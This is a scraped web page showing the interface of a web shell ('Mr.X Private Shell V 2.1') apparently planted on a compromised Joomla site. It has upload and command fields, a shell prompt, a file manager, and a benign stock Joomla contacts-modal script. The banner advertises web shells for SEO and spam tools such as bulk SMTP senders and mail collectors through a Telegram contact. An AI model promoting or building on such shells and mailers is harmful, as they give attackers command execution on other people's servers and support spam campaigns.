__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */
(() => {

  /**
    * Javascript to insert the link
    * View element calls jSelectContact when a contact is clicked
    * jSelectContact creates the link tag, sends it to the editor,
    * and closes the select frame.
    */
  window.jSelectContact = (id, title, catid, object, link, lang) => {
    let hreflang = '';
    if (!Joomla.getOptions('xtd-contacts')) {
      // Something went wrong
      window.parent.Joomla.Modal.getCurrent().close();
      return false;
    }
    const {
      editor
    } = Joomla.getOptions('xtd-contacts');
    if (lang !== '') {
      hreflang = `hreflang = "${lang}"`;
    }
    const tag = `<a ${hreflang}  href="${link}">${title}</a>`;
    window.parent.Joomla.editors.instances[editor].replaceSelection(tag);
    window.parent.Joomla.Modal.getCurrent().close();
    return true;
  };
  document.addEventListener('DOMContentLoaded', () => {
    // Get the elements
    const elements = document.querySelectorAll('.select-link');
    for (let i = 0, l = elements.length; l > i; i += 1) {
      // Listen for click event
      elements[i].addEventListener('click', event => {
        event.preventDefault();
        const functionName = event.target.getAttribute('data-function');
        if (functionName === 'jSelectContact') {
          // Used in xtd_contacts
          window[functionName](event.target.getAttribute('data-id'), event.target.getAttribute('data-title'), null, null, event.target.getAttribute('data-uri'), event.target.getAttribute('data-language'), null);
        } else {
          // Used in com_menus
          window.parent[functionName](event.target.getAttribute('data-id'), event.target.getAttribute('data-title'), null, null, event.target.getAttribute('data-uri'), event.target.getAttribute('data-language'), null);
        }
        if (window.parent.Joomla.Modal) {
          window.parent.Joomla.Modal.getCurrent().close();
        }
      });
    }
  });
})();

Filemanager

Name Type Size Permission Actions
admin-contacts-modal-es5.js File 2.26 KB 0664
admin-contacts-modal-es5.min.js File 1.25 KB 0664
admin-contacts-modal-es5.min.js.gz File 565 B 0664
admin-contacts-modal.js File 2.04 KB 0664
admin-contacts-modal.min.js File 1.19 KB 0664
admin-contacts-modal.min.js.gz File 550 B 0664
contacts-list-es5.js File 797 B 0664
contacts-list-es5.min.js File 535 B 0664
contacts-list-es5.min.js.gz File 349 B 0664
contacts-list.js File 696 B 0664
contacts-list.min.js File 486 B 0664
contacts-list.min.js.gz File 321 B 0664
Filemanager